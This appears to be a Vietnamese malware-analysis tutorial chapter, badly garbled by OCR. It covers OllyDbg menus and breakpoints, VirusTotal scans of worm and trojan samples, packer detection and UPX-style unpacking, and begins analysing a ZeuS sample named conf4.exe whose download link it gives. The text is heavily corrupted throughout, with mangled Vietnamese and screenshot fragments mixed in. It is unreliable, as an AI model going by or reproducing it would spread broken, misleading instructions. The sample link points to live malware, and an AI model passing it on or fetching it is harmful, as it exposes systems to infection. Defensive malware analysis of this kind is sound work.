sadaiezd(| I enT 61 |FUSH 1 1 rﬁParam =
U= cohpmeong | =
BE4E122A=< JMP. &comct 122, In it CommonContrals?
kevaen.tModuleEntruPoint
Addresz |Hen dump ASCIT » | BE1ZFF 34 raalaFFDS -
OE403E00| 65 76 £G 72| 7D 65 72 7O|ewersert = e || sk (RSt G moel Bt RS
BE4EZ0SE( ZE £E £E 74|BA B0 BA BO[.net.... (W 25:5FE 35| Fereaas
BE463696( 54 65 &1 EE[EE 73 3A 28| Thanks: | | ekt
BE463655 43 £1 EE 74|85 T2 7T EF|Canterwo aiorrral | Bacaaena
BE4630AG( 6F €4 2C =208[EC &4 EF &F[od, Ldoo 4 e | | Ehi 3
BE4GZEAS( 67 79 BA BO[47 72 E5 EE|au..Gree R | | P
BE4636E6( 74 69 EE 67|73 SA 2B S2[tinas: R e | | B
BEdaSEEE( 45 41 2C 28[43 T2 &1 ES(ER, Crac aaiorrecl | Baaaanaa i
BE4GZECH( 68 60 £E r3|2E 64 £5 BB|kmes.de. e | | BEek [l
BE4EZECE( 45 72 T2 EF|7Z B8 E9 &F|Error.Yo e | | e
BE4B3608| 75 28 6D 75|73 74 20 £S|u mist e Tl e TEEC || ERREERRR e SEH chain =

||F'aused
Hinh4-24Gi aoldim wi ¢ Ol 1l ydbg
(1) The Dissembler Wi ndow: °~ ¢ a
ch€ehng tr3nh ° dlidng asm c¥%ng Vv, i nh

5

(2) The Registry Wi ndow: Loy | 7 ¢
thanh ghi ,ic8§c ¢ trUng t h§
( 3) The Stack Wi ndow: hi Wn th tr

c8&c d. li u v”™ L a ch".
( 4) The Dump Window: ¢ a s’ hi Wn |

c a s n"y cho ph®p ta t3m ki J/m t h,

C8c t¥%»y coh n v_,i Vie
View->1 og (c a s’ L) cho ch¥Wng ta bil

mHc L nh ¢ a s n"y s& | €eu thlng t
hoHc c¢c8c Plugins L€ c¢c |l oad c%ng cht¢€
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k hgc
View->

View->

# OllyDbg - keygen.exe - [CPU - main thread, mod

nhau

Hand|l

IE‘ File Debug Plugins Options Window Help
Alt+L
Alt+E
Alt+M

EKE

TrEEEDED

Log

CPU

TTEEEDSC
TTEEEDIL
TTEEEDSS
TTEEEDSE
TTEEEDSE
TTEEEDSS

FrEEEDES
TTEEEDES
TTEEEDEA
TTEEEDED
TTEEEDC]T
FrEEEDCS

File

TTEEEDCA
=sacncn)

View-> CP U (
View->Pat ches|(

ng

nh.
View->

ch€ehng

d %2n g

Executable modules
Memory

Heap

Threads

Windows

Handles

Call stack
Breakpoints
Watches

Source

Text file

Alt+C
SEH chain
Patches Ctrl+P
Alt+ K

Alt+B

References

Run trace

Source files

g3
Cal |

F12

c

m"
stack(
treqguht &, lax cthh,
L W

t Ui

Threads (
View->wi ndo w(

c
es (

nel32

a
c

sect

cC a

S

M)
TYi

C

modul e(
khl[ nknagt rt3hnhc st hid, Ln& cn hcé @hH
View-> Me mor vy '
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mu ’
s

c

c
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t hlng

c blp
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cho

T) |
LW m
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a
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L

v

S
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a
Sl-' n--
SI‘

I n vQ

c h¥%ng

c

LI E|mM[T|w[H[c]|/[K[B|R[..[S] Z=[=]?]

I
ntdll.Rt lEx itUserTl

F+16]

[EEP-21
itStringTolynanicl)

HEDED

F—21

F+C]

F+31
—Core—Memory-L1-1-
+161,8

BECEE
[EEP-21
ntdll.Rt IFreeln ico

-4, 08
SEEDSE

ntdll.Rt lEx itUserThread

ntdlLl.Rt IFreelnicodeString

Hinh 425:Menu View

SP
c
c h

a

t 4

C)
a
Yan g
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S
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v

View-> Breakpoint( c¢c a s B) hitWn t h’
trong ch®hng€t himwm. th  nh_ng BP L€
Vv.i nmhmgBPEh8E nh€e HWBPy vVBP MeE khtlng

x

View-> References( ¢ a s R) hiWn thi
search trong Olly.
C8c t%»y c¢ch n L°i v,i Debug

s

FO9( Run) khi nhbln olly s€&€ t3m xem
ch€ehng tr3nh c¢c- thhggrahagcngucebeh
ch chJ] ch" " ng debug th3 s& terminate

f& CllyDbg - keygen.exe - [CPU - main thread, module ferne! 2] 5
@ File View | Debug | Plugins Options Window Help
x| » Run Fo [wlH|[c| | K[B[R[~]s] =[E] 2]

Fr/BEEDGC| AD -
Z7EmEDen) FEIS Pause F12 FirUzeeT{ntdll. Ry LEn itUserTheead

TrEEEDPY| 2@ Restart Ctrl+F2
Alt+F2

F78OED7?| 2@ Close

A| 55
??SBED?E gEltEc Step into F7
77eBEDPE[ 51 Step over 8
[ M Animate into Ctrl+F7
rTSBEEDSE| S8 Animate over Ctrl+F8
??sasngé V§4 24 Execute till return Ctrl+F2
FreEEDSs| FEFg Execute till user code Alt+F9

TTEAEDSF( E&_RAH

b —L1—1-
LieBEDR4| 857D Open or clear run trace

2 S .
FTSEEDAA( w74 B Trace into Ctrl+F11
[ =

T7BEEDAF| 5@
7TS0ECED| FFLS fiacekhey Ctl+Fl2 i ico]ntdl LLRe IFresUn ioodeString

vTPEEEDES| SE Set condition Cirl+T
9| C9

rreBEDEA( C2 B Close run trace

PPEBEDCL | ~EE D3

;;gggggg 33 Hardware breakpoints

FYSEEDCE| 2@ Inspect

o =)
Fre|epCs SEFF
LiZAEDCH| &8 Call DLL export
Zzsacncc|

Arguments

Select import libraries

Z g weeenet T
Hinh 4-26. Menu Debug

F12( Pause) tUm d. ng ch€©hng tr3nh
CtrkF9( Execute till return) c©u | nh
Alt-F9( Execute till user code) khi trong qua trirth®n t 2 ch b’ I
Ss©O©u b°n trong trong Kkhi debug ths3 t
v tr2z hi n tUYi

F7( step into) th, c thi trace t_. ng
| " nh Call s€&€ nhl[y v o b°n trong | n
kK hi n“o gHp return s€&€ tr’ vQ ch<€ehng
F8( step over) th, c thi trace t. ng
gHpp | " nh Call n- s€&€ khtng nhl[y v~ o
ngay =~ c¢c©u | nh ti/]lp theo d€ i | nh
T%y c¢ch n Plugins

Address [Hen du
vradEDSC RO FF

Select path for symbols
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Plugins> Ollydump> dump debugged process d
trong process.

Option> Debugging Option( AHO) theo mHc L nh c¢ch
analysis th3 ch€ehng tr3nh khi L€ c
t2ch v° L€a ra c8§c hémmmerni nt lthelke M
start analysic th3 ch¥ng ta s€ phrli
r€ ¢ load v ' o.

Chu, t phTli v o ¢ a s’ Di sassambl er
Binary>edit thay L i gi &8 tr trong hejy
Goto>expressio@ua( t@t rlLlJJyMG). " la ch”™ ta cf
Goto>previous quay tr |1 4i call sau

New origin here( Ctrl + Gray?®*) L €a
I a ch”™ khg&8c t4di v tr2 m” ta ch n
Foll ow( enter) cho ph®p taanxmé@m c Ou
khtng hQ th, ¢ thi bblt k3 coOu |°
Follow in dump cho ta xem gi 8 tr t
nW t3m KkiJ/jm c8c function hay stri
V., i c8c funct i o-ral intermodutar aalls, haar c h
c hmgotoe> expression to fllow v™ nhdp t
AV t3m kiJm c8c < tllrdferegceditextstdng’ n s e &
T. vi ¢ t3m kiJm c8&8c h™ m v" chu, i t
nh€ m t LiWm L8&8nh dblud nchho. tmHtt hBrce a
L€ ¢ chi a irsau:Conimon Beegkoint, bldinory BreakPoint,
Hardware BreakPoint,Conditional.
Common BP ta LHt b3ung c8ch t3m LIJn
hoHc LHt thlng qua command.c Odlsy s¢€
BreakPoint ta ¢c- thwW m ¢ a s n"\
ch™ L°i wv,i nh_ng opcode khlng b’
hi " n ch€hng tr3nh.

nh n
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o0 g o < D D T T e =

. File View Debug Pluging Options Window Help
= R I T I T LIEIMITIWIHICIJ’IKIBIRI Js] E=lE 2]
mmndn aoo rs Eg ggagaaaa CQLL <.J|~1p Boomet 22 TnitCommonoonteo e =L 6 Lo | f 1o Tr- wemz, (FPU £ £
! || - £2 180z0000 ﬁghLDESEE e Backup » [EDSR kernelSZ.BaseThesdln e Thunk
1 - 05 lhanee sy g0t T y (L2992 keyaen.<Modu leEntryFoint>
2||: B8 caveoven | AL Cab-tusd Bi , [EF%S
c|| - A2 22334808 |MOU DWORD PTR LDy oo
1|| - g8 ggvFesen | PUSH rFes A it 5 BoE
- SEEembple ace .
z=(| . ES ADBZEE@EE  |CALL <JMP.use P 1688 keyaen.<Modu leEntryPaint? I
| e Sl T Label :  |@e23 32biv @IFFFFFFFF)
El] R i FUSH BE1E S2bit BLFFFFFFFF)
. evgen. Bg . |2822 2Ebit BIFFFFFFFF)
Hll- BE Comment : BEZ3 3Zhit OiFFFFFEFEY
=0|| - FF3E 1ES3d4oma PUSH EiloRD PTR
‘g . EE .Bgazama PUSH é.JHP ozl Ereakpoint 3 Toggle F2
14 . . e .
4A|L. ES CPOzB@@a | CALL <JMP.&ken Hit trace 3 Conditional Shift+F2
25 I[: Beec a0 EEF, ESP, iti T
2ol 0 SEEL ac ooier P GwnEs BTR Run trace 3 Conditional log Shift+F4
:3 '”25831 BEEE #NZ keygen g Run to selection F4
all - FE7S PUSH Bintro PR New origin here Ctrl+Gray *
7| Es OLL ZJAF. uze
|| . 65 DZ2114688 PUSH kevgen. 8 Go to L4 Memury, on access
e e,
73| . Es srezeses |CALL <JHP.tuse Follow in Dump 4 Memory, on write
72(| I A3_ZA334pBA | MOU DWORD” FTR ’
7E|| . FFSE Z2224mmE) FUSH DWORD PTF View call tree Ctrl+ K .
,< 1 Hardware, on execution
Search for 3
Address |Hen dum Find references to v B TTODCDSC| RETURN %o kKerne [52.7TO0ED I
SEIGSC TR R ] view » [ et
9 E
€3 59 &2 25 30 bn 5 5F b G5 c o TPCESTOB| RETURN o nedlL. PPCES?TE
1 »
63 6B €5 72|73 &3 78 7E|BA 90 4 ppviicisscuiaiis JFEEEL 28] I
2B &2 72 6163 EE £E vZ|SF 7% 4 Anaysi D
&0 63 61 73|74 2E 6E 65(74 @A § Ll ZEFD:
7@ 74 65 30 20|68 ¢4 74 78|30 2F 4
EC TE EE 72|72 EE 72 73| ZE EE 4
54 63 61 6E| 6B 73 A 28|43 61 Dump debugged process BBERREEEG - l
Frogram entry point Pauzed
L L Appearance r _| | |

Hinh4-27:T%y c¢ch  n L&8ng ch¥% T trong ¢
Memory BP vi§g dHtg BPhm iyh. ng opcoo
L i v° Olly h, tr° ch¥%ng ta 2 ki Wu
Memory on access va BreakPoint Memory on write. BreakPoint
Memory on access Vi ¢ L Hit BP n"y |
d. ng th rg tthri3 cthéhhi c¢- bblt k3 s  t
| °n v¥%ng d_. tBPiBrueamk'Poti at L Memory on
ch€ehng tr3nh th ¢ thi khi c¢c- bblt k3
LHt BP. Vi ¢ LHt BP tY9i memoaya s€& Kk
s BreakPoint. Olly c¢ch” cho LHt du\)
Bp th., 2 v o th3 Bp 1 s&€ t L€ ¢ re
Har dware BreakPoint( HWBP) ta c¢c- t
so Vv,i memory breakpoint t9i m, t t
d. ngbtnd NT3 m”~ s d,ng ngdit | NT1. HV
CPU v™ s d,ng m t ikdebughegistih Cmghi L Hic
ta s’ d,. ng HWBP b i v3® n- khlng I
Ch%ng cling khtng | " m chdm tPctl,i tt
L' nh€eng khtng thbly dblu hi u n”"o ch
xem ta LHt n- -> Ha@ul wah en 3deBoruega k p o i
on write v"™ HWBP on access th3 ta

t%y T mu " n ° ¢ a s dump, sau L- LH
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Cond ti onal Breakpoint( shift+F2) ¢l
nhi°n vi ¢ LHt Conditional BP phTi

| dp t. tr € e. Cloandhint iconan BPMmhdp Vv~ o
1 .., pn€ c |€eu trong blfng Breakpoin
Conditonall o g Breakpoint( shift+F4) <cln
nh€ng n- c¢- th°m t%y c¢ch n cho ph®p

c8c tham s funtion m i khi x[y ra

y°u c¢cfu. Nh_ng thtng ti#fil og@bu @
Olly.

42K: thudp h©n t2ch sh b
Ph©on t2ch sh b, Il © b€, cphlofhu tt2ic°hn t koh
Qué trinhnay xem xétk i Wmc Blu at r Yam« ¢ JLane fci- 1 el € ¢
thtng tin sh | € c.
S d, ng c8c b€ ¢ sau
- Qu®t qua tcr8%knk hvwhmws LW x8c¢c L nh
- S d_ng gi8&8 tr° btm LW L nh danh

- Thu thdp thtng tin t_. <c¢cblu tr¥c ¢
nhdp/ xublt v ¢c8&8c chu,i L€ ¢ s d,
- S d, ng t. c8c engine qu®t Vvirus

- http://www.virustotal.com
- http://virusscan.jotti.org/vn
- http://www.virscan.org/
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http://www.virscan.org/

SHAZE: 016@bdab78ecrafdd7 c7be0367 5201310121011 a23317 cocT 4944 3e1 abaa1

SHAT: fefbddi716194b08a24f66006eb9Bbecfca2d528

MDA: b473d2a1 dabdc1e024e3083c 1 af3cfe

File size: 220 KB (276528 bytes )

File name: 016Bbdab78ec7afdd7 c7be0367 201310121011 823317 cocT 4944381 26801

File type: Win32 EXE

Tags:

Detection ratio:  38/43

Analysis date:  2012:09-24 08:36:54 UTC (2 months ago )

AhnLab-V3
Antivir
Antiy-AvL
Avast

AVG
BitDefender
ByteHero
CAT-QuickHeal
ClamAy
Commtouch
Comaodo
Drwveb
Emsisoft
eSafe
ESET-NOD32
F-Prot

F-Secure

- n nh

2
- Chii

a

Trojan/Win32.Jorik
TR{Graftor. 18492
Worm/Min32 WEBNA. gen
Win32:VB-ABWG [Trj)
YBCcrypt. ESM

Gen:Variant.Barys.950

Worm.Vobfus. Gen

W32A/obfus. AD. genlEldorado
Worm Win32.VB. AUA
Trojan.VbCrypt.81

Worm. Win32 WEBNAIIK

Win32/AutoRun VB.ATT
W32Mobfus. AD. genlEldorado

Gen:Variant. Barys 950

danh mal war e

s T

thlng tin

(virust radi ng) ¢é
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a

8000

20120923
20120924
20120911
20120924
20120923
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20120923
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20120919
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20120924
20120924
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v

7% PED v0.93

File: | C:\Program Files\Hex Tools\BASECALC.EXE E
. Entrypoint: | 0002ADB4 EP Section: | CODE >
- | File Offset: [0002A164 First Bytes: [55,8B,EC,83 | > |

Linker Info: 2,25 Subsystem: | Win32 GUI i]

'Borland Delphi 2.0
Multi Scan Task Viewer Options About l Exit I

IV Stay on top ﬁ] _E’_J

7€ PED v0.93

File: | C:\Program Files\Hex Tools\basecalc.exe |
Entrypoint: | 0003F230 EP Section: | UPX1 i_l
File OFfset: 00015630 First Bytes: |60,BE,00,60 | > |
Linker Info: | 2,25 Subsystem: |Win32 GUI i’

UPX 0.89.6 - 1,02 / 1,05 - 1,24 (Delphi) stub - > Markus & Laszlo
Multi Scan Task Viewer Options About ] Exit ]

[V Stay on top ﬁ] _>|

- Théngquam hash x®t xem fhialye clh«€al. € c
- Tools : md5sum hoHc md5deep

- Li t k° ¢c8c chu, i k2 t c- trong
- C- c8i nh3n kh8i qu8t vQ c8c t2nt

(S Str"’mgs IS\mssignl6.dl 1"

S }\_—/

program cannot be run in DOS mode.

5

L
0.

70.
q

ki
¥

http: //
http: //fgw
gqwertlZ3
20110607@c

ks

(]
—

=
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- Ki Wm ttrrasccHu e th ¢ thi (PE File
- ChYy tr°n nQn tFfng h  LiQu h” nh
- L file th ¢ thi, th€e vi n 1i°n |
- C8c th€e vi n, c¢c8c h"m L€ ¢ impor

kJt L, ng) .

4.3Phan tichgili nén cac mxu

431Hov m« ,dblag ph€hng X¥h&§8p n®n m

Nh€ L« tr3nh by vQ cblu tr%c PE c,
c§c file L€ ¢ pack nh€e trong h3nh v

DOS header

PE header

Section Table

Section 1 (unpacker code)
Section 2

Section chira Packed-data
DOS header
PE header

Section Table
Section 1
Section ........

Hinh96Fi | e PE khi b pack
File L€ ¢ pack c¢-b°c bha ttrivYacMgenyvhie srk d
file ch2nh chila ffiillee pga cck eld€ dcatna®n ,

Packed file vXn |7 m t file PE c¢-
L., ng nh€e sau
B€ ¢ 1t hLoadhi t . Entry Point nhe€

c h_ ae, immd

Be€ drdng unpacker code c¢c,a tr<€ ng
c.a c8dhi thamhigth ¢ hi " n gili m«,
tr€. ¢ khi b’ pack t_. v¥%ng i Ratked ch_ a
data

B€ cTi3]p thic rn hvic c dchtywindowsaARIc ht" ¢
LiQn |1 4i c¢c8&8c L " a ch™ n"y 1 4i LW ho"
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glfi m« tYi v¥%ndiatneh, ( c h cag P afciklead t h? |
L€ ¢ windowsl trhg ck hii " fni Ite L€ua | oac
tr3nh n”"y th<€ ng GstProcAldress LoadgilcraryA P | n |
é).

B€ cT.4,section code s€&€ th & hi”in p
j ummEdiryPoinf OEP) ¢, a file m i-ddag ¢ ph,
Mi nh h  a sau khi b€ ¢ 2 th ¢ hi n x
Section c¢dataa Pvacikekd?2 ch. t h€ ¢ b " nh t
Khi L€ ¢ gili n®n/ m«

DOS header
PE header

Section Table

Section 1

Section 2

DOS header

PE header

Section Table

Section 1

Section ________

Hinh4-28: Khi L€ ¢ gi[i n®n

Ngo " i ra trong b€ ¢ 2 unpacker cod
LoUn ki Wm trakhémge:- kbWmdebagxem Lan
tr€ ng o hay th c¢c, r” i dhngunpack,cn L §r

Li Quk tr a
432G[inénmau m« L
C- nhi Qu ph€ehng ph8p LW unpack m t
Cacl: Ph ©n t 2 dmm« /h " gni [gii [n®n sau L - t (
vQ file tr+€ ¢ khdatba. pkhki tph,nag Ipti
nguy°n g c.

C8&ch 2 t3m L a ch” Entrypoint ¢, a
trace dfn LW debuger d. ng._laYbiprtoktie sl
n“y, r i th ¢ hi " n vi ¢ tYo 1 4i bln
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C8ch 3 x8c L nh packer nJju |~ <c8c

L€ ¢ c8c tr€ ng.tr3nh t L ng unpac
LOy ta s d, ng ph€hng 8n 2 |~ <c¢ch?

Lload ch€ehng tr3nh v™o0o trs3nh Debug (

B€ c¢cT3Im ki J/Jm, X8c L nh OEP

CachlOEP th<€ ng L€ ¢ mhiinpF{rJ M b ki m

m t cHp | " nh pueh PDPEPTa®dcessnh jur
LoUn khti prhgixod ddd thachfic o _hea unpacker
ph2a tr°n m t ch¥%t n_a th€ ng |~ Lc
table c¢c,a file g ¢c. Ta c¢c- thw x8c L

break point t4i c8c L a chghi ,c_nabltc §
br e ak ipaoham toaldrady, getprocaddress.

vz d, kK hi unpack UPX packer ta L Ht
L " nh stack, khi fih, EWhThuX®i bc8&8ohf
ch€ehng tr3nh s& pausehbldi | hic joumyp
OEP.

Cach2D a v "o Vi c idtthb cicBm ViBualdllok P o
Ph©n quyQn | Yi )cenhvd xc88cc Lv Yanhg cn8hc, Vv %n
ph©n quyQn t LOYy ¢+ thW suy ra sau
| 99 v~ o L@ua cR” it hs&auk h*-i ph, c | Ui t_

file g c.nHt memory break point t4ij
vio vi ¢ LJn s | fn b pause cho LJ
OEP.

B€ ¢ 2: Dump Execniie Meemak YRbopgnagel
tr®nh d.ng | 49i tYi OEP. D¥%ng c8c to
hoHc Lord PE, PE t oafilesduWhidnpthgnh s a
OEP cho chinh xac.

B€ ¢ 3: XO0y d. ng | 4i import table.
| Ui i mport tabl e.

Cacfle pack th<€ ng c- c8c ch_ c nktng

tr°n tr3nh debug ihngikhongh?! véln ¢ Q m™ vy
L€ ¢ tr3nh by ° c¢c8c phfn tiJlp theo
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45Phantichs d ngk: thuddc h "ncg €
Phon t2ch 1 file mXu : CONF4. exe
Link Do wn | o ahdtp:/fil>érepbox.com/u/47379175/cordé
Load vao trong Exeinfo PE:

g 1 000¢
PN . | ModC
55 T Exeinfo PE - ver0.0.3.1 by AS.L - 645 sign 20120518 o & [ .
: conf4.exe mE (=) |/ Res
Entry Point : 00022000 oo (<] EPSection: EndTz () 3EME . Newfo
File Offset: 00018300 First Bytes : B8.48.33.40.00 (-] [S] B Newfo
.. bin
Linker Info: 2,25 SubSystem : Windows GUIL About
File Size:  pooic2Boh Overlay:  [DODDDSBO. K Falle:
Image is 32bit executable RES/OVL:81 /2% 2004 Exit . http_

heck * FYF STICKFR ( 25A hutes ) like NntFiv FakeSinner nr PeShihOFP. (=] —

Lam SIGNATURE: 0

s Generic check : EXE STICKER ( 256 bytes ) like DotFix FakeSigner or PeStubOEP '

SAEINCS

Shortcut

. ZeuS

Hinh4-29 Quan satthong tin@ m@{  m« hAl
Sau khi | oad xong Exeinfo PE cho b
khing b’ ph8&8t hi n b'cihehompltirernhp a
sign)
Thing tin chi tiJJt thu L€ ¢ nh€e sat
SHA256:
c09b262b940d22c7f0b6956aee0949a640db66616bf70e4cdf6ble7eac068

28

File name: conf4.exe

Detection ratio: 25/ 44

Analysis date: 201211-04

File n"y | m t Sp¥yrmh Bait tNewi rlws bc
virus total x8c L nh.
https://www.virustotal.com/file/1c09b262b940d22c7f0b6956aee0949

a640db668.6bf70e4cdf6ble7eae06828/analysis/1352017991/

Th t3m kiJm v, i Hash c_,a file tr°r
cl, nhe vdy file v, i hash n"y c¢he€a
Ta tiJn h"nh ki Wm tra.

n€a v" o m8y [o,. Load v, i Ol Il yDbg
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https://www.virustotal.com/file/1c09b262b940d22c7f0b6956aee0949a640db66616bf70e4cdf6b1e7eae06828/analysis/1352017991/
https://www.virustotal.com/file/1c09b262b940d22c7f0b6956aee0949a640db66616bf70e4cdf6b1e7eae06828/analysis/1352017991/

Xem memorymap&c secti on, ch€ehng tr3nh L

Ch” ¢+ m t | " nh mov L a ch v’ oojum
gi "ng v,i ng!'n ng., Delphi mdgnygi Nh.:
ta x8c L nh Malware L« thay L i en
cu i LW ngtn kh'ng c hoinfetgccompleehng t
c8c i nHwoeéeL&Hmh | _ a c¢c8c antivirus

Hinh 4-30 Xem memorymap cac section
Edit | 4j B38 (40334® mage Base)Ta ki Wm t r a |
t h bly

Hinh4-31 KiWh tra M sau khiedit Entrypoint vi Exeinfo PE
Nh3n v' o ta thbly n- L€ ¢ viJt b3ng
Lbly ngay L€ ¢ thing tin vQ compli e
L€ ¢ pack. Ta chuylWhmA s nmgg | maay b Jnei

155










































































































































